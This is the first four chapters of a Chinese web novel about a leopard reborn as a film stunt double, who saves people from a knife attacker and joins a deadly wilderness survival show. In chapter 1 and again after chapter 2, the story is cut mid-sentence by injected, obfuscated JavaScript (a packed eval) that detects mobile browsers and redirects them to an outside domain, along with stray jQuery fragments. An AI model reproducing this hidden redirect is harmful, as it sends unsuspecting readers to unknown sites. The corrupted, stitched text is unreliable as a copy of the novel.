《小花豹在求生综艺当万人迷》 1. 第 1 章 《小花豹在求生综艺大杀四方》 文/落万枝 晋江文学城独家发表 2025.06.26 * 非洲,塞伦盖蒂自然保护区。 雨季来临,铺天盖地的角马群如割草机,碾过稀树草原。 河水暴涨淹没浅滩,数万只角马前仆后继,命丧马拉河登陆口。 烟尘似雾,残阳如血。 踏着泥浆顺利横渡的角马群,在河岸驻足不前。 似替不幸遇难的同伴哀鸣,亦或是因刚从险境逃脱而惊魂未定。 金合欢树下,几只落单角马正啃食草地,为加入大部队养精蓄锐。 而它们上方,近三十米高的伞刺树顶,匍匐着一只花豹。 潜伏。 目测。 锁定! 花豹如闪电般一跃而下,将一只亚成年角马扑倒在地。 前爪钳住后颈,利牙再死死咬住咽喉。 一瞬间,腥红的液体将浮光染尽。 血雾之中,花豹叼着奄奄一息的角马,将这只体重超乎自己两倍的猎物,硬生生拖到树上。 树杈中间,悬挂起了一枚来自顶级掠食者的生存勋章。 没多时,一只斑鬣狗循声而来。 作为“草原二哥”,斑鬣狗发现猎物后,往往会用独特的叫声呼朋引伴。以家族为单位团体作战时,它们甚至敢从花豹、狮子口中夺食。 斑鬣狗是花豹的宿敌,在人类眼中,它更是“阴险狡诈”的投机主义者。 但显然,眼前这只斑鬣狗似乎有些不同。 它抬头望了眼仍在滴血的角马,安静守在树下,有其他鬣狗伺机蠢蠢欲动时,便龇牙咧嘴地冲出去,干扰他们的行动路径。 几个回合过后,鬣狗群回头看向这只“可耻的叛徒”,发出类似于讥笑的叫声,跑远了。 “这是……死对头的投诚?对于花豹Wendy来说,这只斑鬣狗究竟是异类还是盟友?” BBC纪录片导演Cyril,为捕捉到这令人匪夷所思的一幕而惊叹不已。 霎时,乌云席卷。 整个塞伦盖蒂上空被青灰色的雾霭笼罩。 雨幕撕裂,天光乍泻。 镜头被雨水飘湿,取景框一片模糊。 Cyril及拍摄团队迅速收起器械,往吉普车所在位置撤离。 躲避人类的监控后,金合欢树冠在翻腾的云层下,如软体动物的触角一般,向四周肆意延伸。 “轰隆!” 一道惊雷骤起。 Cyril猝然回眸。 花豹Wendy、孤独的金合欢树以及守护者斑鬣狗,仿佛海市蜃楼,眨眼间凭空消失。 稀树草原上,空茫一片。 季风回荡在塞伦盖蒂,万物依旧生生不息。 * “小姑娘命真大,被雷劈中,竟然只受了一点皮外伤……” 窸窣谈话和奇怪的异响撕扯着耳朵。 云媞醒了。 身下不是金合欢树粗壮崎岖的枝桠,手边没有未吃完猎物的肉腥气,眼下也不见那只跟屁虫鬣狗…… 一个全然陌生的环境。 “诶?你醒啦!” 女人惊呼,探出手。 出于某种生存本能,云媞下意识翻身下床,正要找个隐秘的灌木丛钻进去。 然而,扫眼四方皆是死角,没有任何遮挡物。 云媞困惑回头。 女人同样一脸震惊,落空的手仍僵在原处。 不过片刻,她收回手,笑盈盈地说:“媞媞不记得我了吗?我是剧组导演,黎冉。” “你在给明娇娇补拍武替镜头时,被雷击中,从威亚上掉了下来。因为当时太晚了,我就将你带回了我家……” ……明娇娇? 黎冉的话渐渐模糊,脑海中那道异响,再次争先恐后涌现。 身为花豹的她,穿成了一个名叫云媞的华国人类女孩。 事实上,这是由一本男频小说《问鼎荒原》,建构出来的架空世界。 明娇娇,龙傲天男主后宫团的“正宫”女主,出身显赫的豪门世家。 书中,雇佣兵男主叶玄与女主明娇娇在国外结缘,后因一档极限求生综艺《生存者游戏》而互定终身。 一个是强大刚毅的草根战神,一个是娇美清纯的富家千金,共同书写了一段最强赘婿携妻打脸虐渣的苏爽故事。 至于云媞,作为女主的武替,她不过是小说中专为女主挡灾的工具人。 在综艺里被巨鳄“死亡翻滚”后,寥寥几笔就下了线。 情节过于复杂,初次为人的豹豹尚无法理解。 忽视脑中传输不断的信息,云媞遵循肢体记忆,试着开口说话:“我……” 一道惊雷在空腹里回响。 黎冉愣怔一瞬,笑道:“媞媞饿了吧?先吃顿午餐再说?” “想吃什么?我让厨师现在去做。” 在对方鼓励的目光下,云媞舔了舔唇瓣。 “……角马。” - 角马自然是没有的。 但有听起来很相似的牛角包。 云媞吃了一口,面无表情地丢进了垃圾桶。 根据记忆里的画面,人类通常会把不喜欢的东西,扔进这个桶。 目睹全过程的黎冉挑了挑眉。 这个小姑娘似乎……变得有些不一样了。 尽管在此前两个月的拍摄中,她们的接触并不算多。 但在黎冉的印象里,云媞老实内向,跟人说话时总是含胸缩背,甚至不敢直视他人的眼睛。 以她这种性格,注定要受人欺负。当然,黎冉绝不允许自己的片场出现霸凌现象,但她也没有只手遮天的权力。 好几次,她曾见过云媞被影视基地的其他群演刻意刁难。 人群推搡,唾沫飞溅,云媞始终只是低着头,一言不发。 唯一有些不同的是那天……她从威亚上跌落。 所有人始料未及,惊叫连连。 反应最快的黎冉冲在前面,下意识伸手去接。 云媞却在高空翻转一圈后,身姿轻盈地稳稳落地。 她抬眸,眼底一片肃杀。仿佛在看一群蝼蚁。 本能的恐惧令黎冉僵在原地。 然后……小姑娘就昏倒了。 想到这里,黎冉按了按突突直跳的太阳穴,出于某种歉意,她主动安抚道:“不爱吃的东西不必勉强,再等等其他菜。” 话音未落,盘盘大菜接连端上桌。 清蒸东星斑、白灼虾、板栗炖鸡、红烧狮子头…… 黎冉一一介绍过去。 “狮子头?”云媞眸中闪过一丝惊喜。 她拿起一根筷子插上去,塞进嘴里,只一秒,又吐到了垃圾桶。 “假的,这不是狮子的脑袋。” 同为草原五霸,云媞自然不会冒着生命危险与狮子硬碰硬,但食腐的鬣狗曾叼来一块刚死不久的狮子肉,她吃了一口,还不错。 就此,开启了去狮子巢穴偷吃幼崽的“美食探店”之旅。 “噗呲。” 黎冉乐地笑出声,撞上云媞迷茫的视线,她心虚般拾起餐巾轻压嘴角,柔声解释道:“听说媞媞是西北人,以前可能没吃过这道菜。” “狮子头并非狮子的脑袋,而是用猪肉和虾仁做成,”黎冉放下餐巾,笑得纵容,“再说了,狮子可是保护动物,咱可不兴吃啊。” “花豹也是吗?” “什么?” 云媞认真问:“花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129824|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豹也是保护动物吗?” 虽有些不解,但黎冉还是点头应道:“自然。” “哦。” 云媞埋头,将面前带血的牛排一扫而光,随后把空盘径直推出去,“我还要。” 黎冉愣了几秒。 只见小姑娘慢悠悠地说:“你不是说,要保护我吗?” * 以风卷残云之势,炫光三盘牛排以及全桌荤菜后,云媞扶着肚子,意犹未尽地走出餐厅。 只可惜,黎冉因剧组有事,饭中就先行离开,没有亲眼见证这场盛况。 晃荡在别墅庭院。 草坪松软苍翠,比塞伦盖蒂疯长的尖茅草,要柔和美观许多。 离开了金合欢树遮天蔽日的阻隔,阳光灼灼,叫人睁不开眼。 找不到一棵可供自己攀爬的大树,云媞只好躺在庇荫处的秋千上,以极没有安全感的低矮角度稍作休憩。 她开始在脑中搜寻起有关黎冉的信息。 《问鼎荒原》里,黎冉出场靠后,她是世界级名导,也是华国首富陆景天的妻子,更是男主叶玄的……干妈。 正经的。 因为偶然被叶玄所救,黎冉对这个面冷心热的年轻人印象不错,后来才知,他竟是自己老公口中常称赞不已的商界奇才。 一来二去,夫妻俩与叶玄结为忘年交。 因自家儿子实在不争气,后期更是脱胎换骨的混,竟当着他们的面欺凌折辱叶玄。 无休止的争吵后,夫妻俩心灰意冷,干脆认了无父无母的小可怜叶玄为义子。 “原来你在这儿!” 一道嚣张跋扈的声音,从数十米外的地方传来。 云媞霍然睁眼,迅速从秋千内翻下去,站定。 陌生少年怒气冲冲,精致的五官因愤懑而稍显扭曲。 “我不管你是自己偷偷溜进我家,还是他亲自带你来的,总之,这里都不欢迎你,滚出……” 待看清云媞的脸后,少年脚步一顿,不自在地撇开视线,气势却丝毫不减,“皮肤又黑、穿得又土,谁给你的底气当小三?我爹也真是老不择食,竟然看得上你……” 黎星言。 云媞在心底默默念出这个如雷贯耳的名字。 他就是黎冉和陆景天的独子。 也是全书最讨人嫌的蠢货二世祖反派。 身为四代单传,黎星言从小呼风唤雨、不可一世,在狐朋狗友的起哄下,一时头脑发热参加了《生存者游戏》。 养尊处优的天之骄子哪儿受过这种磨难。 可他自己菜也就罢了,偏偏还眼红全能男主抢了自己的风头,时不时跑到叶玄面前大放厥词、出言羞辱。 可想而知,黎星言最终沦为男主对照组,原本幸福的家庭也被他折腾得分崩离析。 “喂!我跟你说话,你听不到吗?” 见云媞一脸神游,黎星言上前一步,两人之间的距离不过咫尺。 “好吧我承认,你长得确实有几分姿色,年纪也不大,为什么要破坏别人家庭?这样,只要你答应我,以后不再跟陆老头有往来,我就既往不……” 话音未落,云媞兀地将手搭在他的小臂。 “你、你干嘛!想把主意打到小爷我头上?告儿你!没门……” 下一秒,一股强劲力量拽着他的身体,腾空而起。 “砰”得一声,一脸懵逼的黎星言就被扛到了肩上。 在阵阵羞愤的惊呼中,云媞奔袭数米,最终停在一辆垃圾车前。 黎星言瞪大双眼,一种不祥的预感涌上心头,“诶诶诶!你做什么!你别……” 云媞肩一歪,手一抖。 高贵优雅的小少爷就这么毫无缓冲地,掉进满车污秽之中。 人类说过,没用的东西,要丢到垃圾桶。 2. 第 2 章 前前后后泡完第八遍澡,身上那股令人作呕的黏腻触感,仍阴魂不散。 “啪!” 黎星言将浴巾狠狠摔到地上,抬眸,看向镜子里的自己。 水雾朦胧,男人宽肩窄腰的颀长身形愈显张力。 轻触智能操控区。 数秒间,镜面上的水汽消散,镜中人清晰可见。 薄肌、粉白皮、倒三角……再加上那张精致如玉的俊美脸庞。 黎星言微微一怔,这谁,这么帅? 原本难掩的愤怒,莫名平息几分。 懂了,原来那土黑丫头,不过是想用这种别出心裁的方式,故意引起他的注意。 自己如此优秀,对他一见倾心倒可以理解,就是手段未免也太极端了些。 “少爷,您快好了吗?洗的时间太长了,这边担心您……” 门外佣人焦急的呼唤,陡然打断黎星言的思绪。 他轻咳一声,“好了。” 换好衣物,黎星言面不改色走出房间。 靠近回廊时,他装作不经意地瞥了眼楼下,“那个恬不知耻的土丫头呢?” 佣人思忖片刻,明白他说的是云媞。 “她好像一个人出去了,太太不在,我们也不能限制她……” “她还见到了我妈?我妈没把她轰出去?”黎星言微蹙眉头。 以黎冉女士眼里容不得沙子的性格,那女孩能毫发无损地走出他家大门,属实不简单。 “嗯?她就是太太带回家的呀。” 说到这里,佣人连连咋舌,“听说她在片场出了意外,太太带她回来,本来是打算修养一段时间。结果医生检查后发现她只受了轻微擦伤!那可是十多米高的威亚啊……” ? 黎星言脚步一顿,偏头,“她不是我爹私养在外面的小情人,故意找上这里逼宫的么?” 他今天刚回家路过餐厅时,听到几名佣人正在闲聊,说家里来了个年轻女孩,食量大到吓人,管家拦都拦不住。 为了听得更清楚些,他便换了个位置,再然后,就隐约听到“秘密情人鸠占鹊巢”“杀到正宫面前立下马威……”之类的情感八卦。 联想到陆景天这段时间总是忙得好几星期回不了家,家中氛围也越发怪异,黎星言自然以为是渣爹在外面有了人。 而云媞,显然就是那个人。 “怎么可能!” 佣人惊慌失措道:“以先生的为人可做不出这种事。况且,太太特意叮嘱过我们,一定要保护好那位小姐……” 哦……原来不是渣爹的秘密情人。 黎星言松了口气,心情也莫名畅快起来。 “少爷,您在笑什么?” “谁、谁笑了!” 慌乱压下嘴角,黎星言抿唇,恼羞成怒道:“今天的事,谁也不准说出去!还有,那死丫头回来了,第一时间通知我,本少爷一定要让她好看!” 望着黎小少爷仓皇离去的背影,佣人挠了挠头。 被人扔进垃圾桶,也只敢哭着洗八百遍澡。 到底是谁让谁好看啊! * 另一边,云媞遵循记忆的指引,顺利寻到了影视基地。 做人不到半天,她已经知道了,“钱”是个好东西。 做人,只需要付钱,就可以买到很多美食。 不像做豹时,需要冒着生命危险狩猎,还要时刻警惕其他掠食者抢夺自己的猎物。 但原主很穷,作为底层武替,她的薪资水平远低于挨打程度。 况且……她还要给这里的很多地头蛇上缴保护费,美其名曰:剧组推荐中介费。 云媞不知这是做群演必须服从的“社交潜规则”,她只知道,记忆里自己本该有更多钱去买好吃的。 所以,她要找那些人要回属于原主的钱。 但在能容纳数万人的影视城找人,并不容易。 在豹豹眼里,人类都长得大差不差。 她只能靠嗅觉分辨每个人的体征。 比如黎冉,她的味道清澈而温暖,像猴面包树。 这种被誉为“非洲大草原生命之树”的植物,外边坚硬粗壮,内里却柔软慷慨。 比如黎星言,老实说,云媞并不厌恶他,至少他闻起来像自己的床——金合欢。 鲜艳、高贵、奇异。为了自我保护,金合欢树枝条的每个节上都长着一对硬刺,感应到自己的叶子正在被啃食时,不仅分泌毒素,还会释放奇怪的味道,试图以此驱赶入侵者。 但对云媞来说,不过虚张声势罢了。 无论是金合欢树,还是黎星言。 再比如…… 云媞垂眸,目光锁定在斜下方的不远处。 一个形迹可疑的灰衣男子,腋下夹着大包,挤进人潮中。 靠在天桥的木栏杆上,云媞探出大半个身子,耸了耸鼻尖。 这个人……体内的味道,刺鼻且浑浊。 还没待她分辨出这种味道的人类意味着什么。 男子突然从包里掏出一把砍刀,狠狠砍向身边人。 起初,人们还以为是剧组演员拍戏,微微愣怔后淡定路过。 直到第二个人被砍,鲜血喷溅了一圈,浓郁的腥气迅速蔓延。 “啊啊啊杀人了!!!” 此起彼伏的尖叫声中,人群疯狂逃窜。 骚动爆发。 男子杀红了眼,举着刀,四处挥动。 如同端起长枪入侵草原腹地的盗猎者,轻而易举就可以搅混弱肉强食的自然界内部,表面的安宁。 无数人正涌向桥底。 人群后面,满身是血的男人笑得猖狂。 当鲜红的刀刃变成胜利的旗帜,生存者的游戏便很难中止。 除非…… 云媞微眯起眼,随着男子身体摆动的幅度,轻碾鞋尖调整位置。 近三层楼高的天桥,此时仿佛变成了高大的金合欢树。 而天桥下的男人,就是即将命丧于此的猎物。 3…… 2…… 1…… 云媞单手撑着围栏,轻盈跨过,在高空中一跃而下。 身体急遽降落的速度、目标物无意识移动的角度、风的阻力与偏移…… 砰! 像是一场精准设定的游戏。 目标物被拦腰扑倒,死死压在身下。 这样的游戏,每天都在塞伦盖蒂上演。 猛烈的推背感挤压胸腔后带来短暂窒息,歹徒没有反应的余地,当场晕死过去。 手里的砍刀也“噌”得一下,飞出二里地。 在石板路面打了好几个旋儿,刀尖最终停在一个男人鞋前。 云媞认出了他,正是记忆中强收原主保护费的影视城地头蛇。 她起身,缓缓走到男人面前,弯腰捡起砍刀。 刀尖上残留的血渍,一滴、一滴砸落地面,沿着石板缝隙渗入土壤。 男人腿一软,扑通瘫倒在地。 惊魂未定的众人还没来得及,为从天而降的英雌欢呼。 只见她拎着刀,面无表情俯视跪在脚下的壮汉,开口—— “还钱。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129825|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 【突发!星河影视城出现歹徒持刀砍人,一女子从天而降将其制服!两名当事伤者因得到及时救治,生命体征均已平稳。】 【不儿?!从三层楼高的天桥就这么水灵灵地跳下去了?电视剧这么拍都要被骂脑残,你竟然跟我说是真实存在的?老天奶!人类进化是不是忘了带我!】 【据专家分析:“天降女侠制服歹徒”事件不合常理,疑似吊威亚或视频后期合成技术。否则以天桥高度及人体所能承受重力,当事二人非死即伤……】 …… 赶往医院途中,黎星言正刷着视频软件。 颤抖的指尖却将他内心的焦灼展露无疑。 “陈叔,还有多久到?” 他烦躁地抓了抓头发,将屏幕倒扣在手边。 “少爷我知道您很急,但您先别急。太太不是已经到医院了吗,云媞小姐肯定没事……” “谁急了!简直是危言耸听!”黎星言兀地坐直身体,“我、我才没有关心那个蠢货!” 透过车内后视镜的倾斜角度,司机的表情更显揶揄。 像是被拆穿了心事,黎星言心虚地闭嘴,干脆靠到椅背上闭目养神。 然而一闭眼,满脑子都是视频里看到的各种纷杂画面。 哀嚎遍野,人群暴动。女孩却如神天降,数秒内便将亡命徒当场压制,对方甚至毫无还手余地。 该夸她勇敢无畏,还是…… “愚蠢!” 黎星言终究还是憋不住低声咒骂一声,随后将头撇向窗外。 - 医院病房。 云媞左手举着椒盐猪蹄,右手端着枸杞鸡汤,眼睛还紧紧盯着桌板上的五分熟牛排。 以她目前的财力状况,大荤大肉自然承担不起。 但架不住热心市民和白衣天使,非要好吃好喝供着她。 是的,云媞的英勇事迹短短数小时已传遍全网。赶来探望她的“忠实信徒”换了一批又一批。 看着满心满眼只有美食的小姑娘,黎冉哭笑不得。 她还是第一次见有人在这种地方大快朵颐。 当然,也是第一次听说有人从近八米的天桥跳下来,不仅没将身下人砸死,自己也只扭到一根脚趾头。 能继续待在病房,纯粹只是因为云媞不想走。 “这里很多人免费送吃的,”云媞将最后一口猪蹄塞进嘴里,抬眼看向黎冉,面上有些犹豫,“下一份分你点。” 黎冉失笑,“不用,我最近在轻断食,晚上不吃。” “哦。”云媞打了个饱嗝,用叉子直接插起牛排,啃了一大口,“那你不吃的那份,能给我吃吗?” 黎冉眼底的笑意愈盛,正欲说话。 病房门突然被撞开,一道气急败坏的声音响起:“吃吃吃就知道吃!受伤了都不知道要忌口的吗?” “妈!你也真是,伤筋动骨一百天,怎么不管管她……” 黎星言大步流星踏近床边,伸手就要端走桌板。 云媞“噌”得跳起来,直挺挺地站到床上。 瞬间高出大半个身子,吓得他一时发懵。 视线顺着小腿缓缓往上移,想象中本该全身打上石膏的女孩,此刻却完好无损立在眼前,恶狠狠地朝自己呲牙。 黎星言手一哆嗦,默默缩了回去,“哪……哪里受伤了?” 下一秒,一只脚兀地踢到他的面前。 若是再抬高几厘米,甚至都能杵进嘴里。 “诺,”云媞动了动“受伤”的脚趾。 “你要帮我舔么?” 3. 第 3 章 “噗!” 黎冉刚喝的一口水,直接喷了出来。 探究的目光在俩人之间来回扫视。 啧,她不在的时候究竟发生了什么?怎么才半天不到,这俩小孩的关系突飞猛进啊。 “你、你瞎说什么!谁要给你……” 简直是伤风败俗的字眼。 黎星言涨红了脸,疯狂后退几步,脊背几乎抵到墙壁,“你这人、说话……都不看场合的吗?” 他向黎冉递去一个求助的眼神,试图以此证明自己黄花大闺男的清白。 不过,这羞愤的表情落在对方眼底,却成了另一种暗示。 黎冉耸了耸肩,放下水杯,“OK,是我多余了,这就给你俩腾空间。” “不是……” 在老母亲打趣的大拇指下,房门倏地关上,黎星言的自我辩护就此夭折。 房间骤然安静下来。 黎星言浑身更加不自在。 硬巴巴地开口:“为什么要说那句话?你一个女孩子,都没有羞耻心吗?” 确实没有。云媞只是一只亚成年花豹,离开花豹妈妈后,刚学会独立生活,就穿成了人类。 在动物界,没有礼义廉耻一说,只有最原始的生存需求。饿了就捕食,无聊了就追匹胡狼玩玩,有繁衍欲望了就找几只势均力敌的雄性花豹,广撒网匹配优质基因后,借此扩大领土。 大多数时间,花豹形单影只,受伤了也只能独自舔舐伤口。 所以刚才黎星言突然问“伤在哪儿”,云媞还以为他要帮自己舔伤口。 就像妈妈。 花豹的唾液具有抗菌剂一样的功效。豹妈妈经常舔舐小花豹,某种程度上,也是为了让小花豹免受感染。 但显然,黎星言没有这么好心。 刚升起的零星好感,降为负数。 云媞淡淡移开视线,盘腿坐回桌板前。 牛排已经凉了。等同于动物界的腐肉。 她磨了磨牙尖,一阵无名火陡然升起。 黎星言浑然不觉,还在喋喋不休地指摘她唐突的虎狼之词,以及那副爱答不理的态度。 “为什么不说话,心虚了?也知道自己说错话了?” “我知道你暗恋我,但是我们认识还不到一天,你不觉得你的种种行为很没有分寸吗?” “你对其他男人……” 他顿了顿,眼神飘忽不定,“你对其他人,也这么自来熟?” 吵死了。 云媞一错不错地凝视对方的眼眸。 通过目测距离,评估猎物的威胁程度,随之进入预备作战的状态。 “你直勾勾盯着我做什么?” 黎星言恍然间又懂了,“知道小爷我长得帅,但也不能这么……算了,看你也是半个病号。” 他兀自将脸凑过去,“看吧看仔细……” 下一秒,云媞身体猛得前倾,狠狠咬住他的脖颈。 这是所有动物最脆弱也最敏感的部位。 齿尖碾磨肌肤的异感,令黎星言呼吸一滞。 云媞咬得越重,扑在他喉间的呼吸便越发灼热。 感官无限放大后,本该占据上风的阵痛,却被难以言喻的快感取代。 太安静了。 连角马咽气之前都会哼几声。 云媞微微抬眸,一指距离的男人,整张脸连着脖颈,一片通红。 血液倒流,是弱小猎物窒息而亡的前兆。 云媞紧急停住撕咬的动作。 补救般,探出舌尖,轻轻舔舐一下。 像花豹妈妈经常做的那样。 柔软湿热的软肉渗入齿痕伤口,强烈的颤栗游走全身。 黎星言情难自抑地闷哼一声。 似乎也没料到自己会发出这死动静,他慌乱敛下颤个不停的眼睫。 一把推开云媞,头也不回地逃出病房。 望着自家傻儿子虚浮的背影,黎冉一脸震惊:“真……真舔了?” “嗯。” 云媞面不改色点头:“舔了。” 所以,她已经帮他消毒了,若是他死在哪个角落,与自己可没有半点关系。 * 或许当真气坏了。黎星言连着几日不见踪影。 云媞倒乐得其所。 “天降女侠制服歹徒”事件发酵的第三天。 官方公布警情:歹徒持刀砍人,为无差别激情作案,因性质极其恶劣已被刑事拘留。热心市民云女士见义勇为,政府将奖励三万元现金,并颁发先进个人证书。 一纸通报,击溃这几日的种种流言—— 云媞的确是从天桥跳下救人,且毫发无损。并非部分网友猜测的“网红吊威亚博出位”。 收到政府快件后,云媞看了眼金灿灿的证书,随手甩到床下。 没用的东西,换不了肉吃。 三万块钱?嗯,收好。 打开许久未看的手机,翻出银行卡余额,算上手头这三万,再加上找影视城几个地头蛇追回的钱。 总共还不到八万。 云媞皱起眉头。她已经向黎家厨师打听过了,他每个月的基础工资就有十万。 她喜欢这人做的饭,但她买不起他。 因此,她要赚更多钱。 “叮咚。” 就在这时,手机屏幕上方陡然弹出一条短信。 【云媞女士您好:《生存者游戏》节目组诚挚邀请您参与比赛录制,坚持到最后的个人或队伍,将获得奖金:一亿人民币。山地、雨林、雪山、草原……在荒野中寻找生的方向。期待您的加盟。】 - 暮色沉沉,星光暗淡。 黎星言踮着脚尖,做贼般挪步到云媞门前。 透过门缝,隐隐能看见屋内晃动的身影。 他倏地挺直腰板,轻咳几声润润嗓子,随后一脚踢开房门。 “那什么,虽然你这人第一次见面就把我扔进垃圾桶里,还使那么大劲儿咬我脖子,挺没素质的。但本少爷大人不记小人过,不和你一般见识……” 黎星言靠站在门旁,双手抱胸,微微偏头垂首。 这是他自认为最帅的角度。 “况且我之前因为误会骂了你,咱俩算扯平了,以后就互不干涉、和平共处吧!” 多么沉稳正直!多么慷慨大度!女人,继续为我着迷吧! “要不……先看看我是谁呢?” ?这声音…… 黎星言猝然抬头。 黎冉正强忍着笑意,声线都憋得走调了,“原来不可一世的小霸王,也有主动服软的一天呀?” 端起的矜贵面容瞬间崩裂,黎星言恨不得当场找个地缝钻进去。 但为了维持自己在亲妈面前的人设,他微微颔首,“是言和。不是你们教导的么?不无故树敌。” 嗯,这会儿倒是记起了家训。这么多年,这混不吝树的敌还少吗? 黎冉不拆穿 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去到指定集合点时,已经将近晚八点。 几十人围站在几辆大车下,聊得火热。 有人冲锋衣、徒步鞋穿戴完备,有人背心、大裤衩、人字拖打扮随意,还有人…… “云媞是吗?” 一声问询打断云媞探察的视线。 “如果您确定参加,签订意外保险合同书后,本集合点就可以出发了。” 说完,一张白纸黑字的协议单,以及一张“生存目标书”,递到眼前。 在《问鼎荒原》的架空世界中,作为第Ⅲ级(限制级,18岁以下禁止观看)的求生类竞技综艺,《生存者游戏》外网上线直播,不限年龄、性别、职业,全民均可报名。 截止报名后,来自全国各集合点的数千名选手将打包送去国外不知名荒岛。游戏采取累计奖金制,共山地、雨林、雪山、草原四大地图,每完成一个地图,皆可获得对应奖金。 节目组会安排万架无人机航拍及隐藏摄像头全程录制,无任何硬性规则,且不定时空投有限的装备礼包。只有生存到最后的,才能获得巨额奖金。 “无限制、无规则”。 意味着参与比赛的,不仅有节目组主动邀请助阵造势的明星及网红,比如“一跳火遍全网的侠女”云媞,以及本就红得发紫的女主明娇娇。 有技高胆大的专业人士,比如雇佣兵回国、对一亿奖金势在必得的男主叶玄。 甚至还有……手染鲜血的杀手和通缉犯。 所谓《意外保险合同书》,实际上是一纸“生死状”。 赌赢了,抱得巨额奖金;赌输了,横尸荒野或死于同类相争。 而在此期间,节目组将不对任何选手的生命安全做出保障。 “请问,您考虑好了吗?” 见女孩迟迟没有回应,知晓内情的工作人员于心不忍,“这边建议您还是慎重决定,您一个年轻女孩,在里面可能会遇到各种危险……” 话未说完,女孩径直夺过两张纸,在合同书上歪歪扭扭写下自己的名字:云媞。 至于另一张生存目标书…… 将手上的纸张转了个方向。 看清上面的字后,工作人员猛得抬头,女孩已阔步踏进车内。 「目标:问鼎荒原。」 4. 第 4 章 #《生存者游戏》综艺启动明星阵容曝光# #求生综艺明娇娇# #“跳天桥救人女侠”参与综艺录制# 报名截止后,与节目有关的词条迅速攀升热搜榜首,引发全民热议。 有人期待,不过更多的是质疑。 【Vocal!几十页的PDF,密密麻麻的名字和数据,不知道的还以为是枪毙名单呢】 【emmm基本和枪毙也没啥区别了,还记得节目预热时警方都出了通告,让民众谨慎报名,可架不住奖金太丰厚了啊,一群要钱不要命的。】 【明娇娇都开始荒野求生了,嗯这很难评,祝她成功吧。另外,@某些天天在节目组评论区替明星自荐的粉丝们,猜猜你家硬汉哥哥是没被邀请,还是不敢参加呢?】 【受邀参加的明星我也就不说啥了,与节目组互惠互利,录个一两期,赚够噱头美美退出,人身安全肯定会有保障。搞不懂那些刚成年的、还有四五十岁的,平时走两步要喘十口气,怎么有胆子报名的?】 【不是,你们就没看到那个跳天桥的小姐姐也受邀参加了吗!好期待啊啊啊啊我已经被她那一跳硬控了三天!!嘿嘿嘿黑皮冷脸大长腿,还有若隐若现的人鱼线,一整个se死!】 【她走红的那个视频绝对作假,而且我查过,她本人就是驻扎在星河影视城的群演,肯定是联合起来炒作博出位的!我把话放在这里,不出一期,她就该原形毕露了】 …… 网上各种言论纷飞,但参赛的选手们都已无从得知。 辗转近一天一夜。 承载数千人的客机,降落在一座未知岛国。 所有电子设备都接收不到信号,只能上缴保管。 节目组给每人发放了一个太阳能智能手环,用来通信、实时定位以及记录身体各项数据。 下了飞机,环视停机坪周围,荒草丛生。 再往远看,连绵不绝的群山万壑,在灰蒙蒙的暮色下暗潮涌动。 不像有人生存过的痕迹。 云媞抬起手腕,手环上显示时间是下午5:48分。 “哇快看!” 身后几人往前直冲。 就在鼓囊的登山包几乎要甩到脸上的那一瞬,云媞微微偏头,下半身却纹丝不动。 以几毫米的微距,轻描淡写地躲开袭击。 下一秒,风沙四起。 万台无人机同时升至半空,停滞的嗡鸣声不绝于耳。 三分钟后,如白蚁侵城一般,乱中有序地向四面八方散开。 腕间微弱的电流传出。 【《生存者游戏》节目组提醒您:山地地图已开启,节目组全程将采取不干涉隐蔽拍摄原则。现在请各选手前往补给站,自行挑选所需装备。十日内到达雨林外围集合点,未按时达到的选手自动淘汰。】 手环屏幕小,本就识字困难的云媞,恨不得钻进去看个仔细。 “练过?” 耳畔掠过一道低沉的声音,“别误会,刚才看你反应挺敏捷。” 云媞闻声抬眸。 「此人身形高大,寸头,穿着一件军绿色冲锋衣,竖起的半高领显得面容越发冷峻。再往上看,剑眉如墨、鼻梁高挺,鹰一般凌厉的眼神不怒而威,古铜色的健康肤色给他平添几分硬汉气质……」 脑海中自动跳出的大段外貌描写,让她怔忡数秒。 这是…… “你好,自我介绍一下,我叫叶玄。” 男人主动颔首,自报家门。 果然。云媞淡淡地移开视线,径直从他身边路过。 既然她的目标是一亿奖金,那么从现在开始,叶玄就是她的劲敌。 譬如花豹和狮子的关系,平日各自盘踞在领地,互不干涉、相安无事。待到猎物出现时,明知可能会鱼死网破,也要背水一战。 更何况,他只是个男人,不是狮子。 望着女孩孤傲的背影,叶玄挑了挑眉,有些意外,但很快又恢复到最初那副淡然神情。 他双手插兜,保持恒定距离,跟了上去。 到达补给站时,这里已经被堵得水泄不通。 像是一座大型工厂,停靠了数百台五座越野车和摩托车。 天花板上悬挂的提示牌写着:摩托车供独自出发的选手使用。越野车仅供团队使用,团队需五人结盟,临时可更换盟友,但必须保证满员。 每个交通工具上还都配备了数额对应的防寒睡袋和救生背包。背包里包括刀具、应急干粮、绳子、地图、水壶、生存滤水吸管、太阳能手电筒、打火机、急救医疗包。 人是群居动物,更何况荒野求生,组队总比独行保险,至少饿了伤了,还有同伴可以依靠。 这个想法,不约而同在大多数选手脑中闪现。 大批人涌向越野车区域,有本就相伴参赛的,也有合眼缘临时组队的。这个时候,运动员、户外佬、爬山佬以及看起来就像野人的选手们,变得格外抢手。 有人为了与那些看起来更强壮勇猛的选手组队而明争暗斗,而那些自知抢手的男人同样也利用自己生理优势,享受簇拥而来的“特权”。 在母系社会居多的动物世界,这种号召力和绝对地位本该是雌性专有的,很奇怪,人类却截然相反。 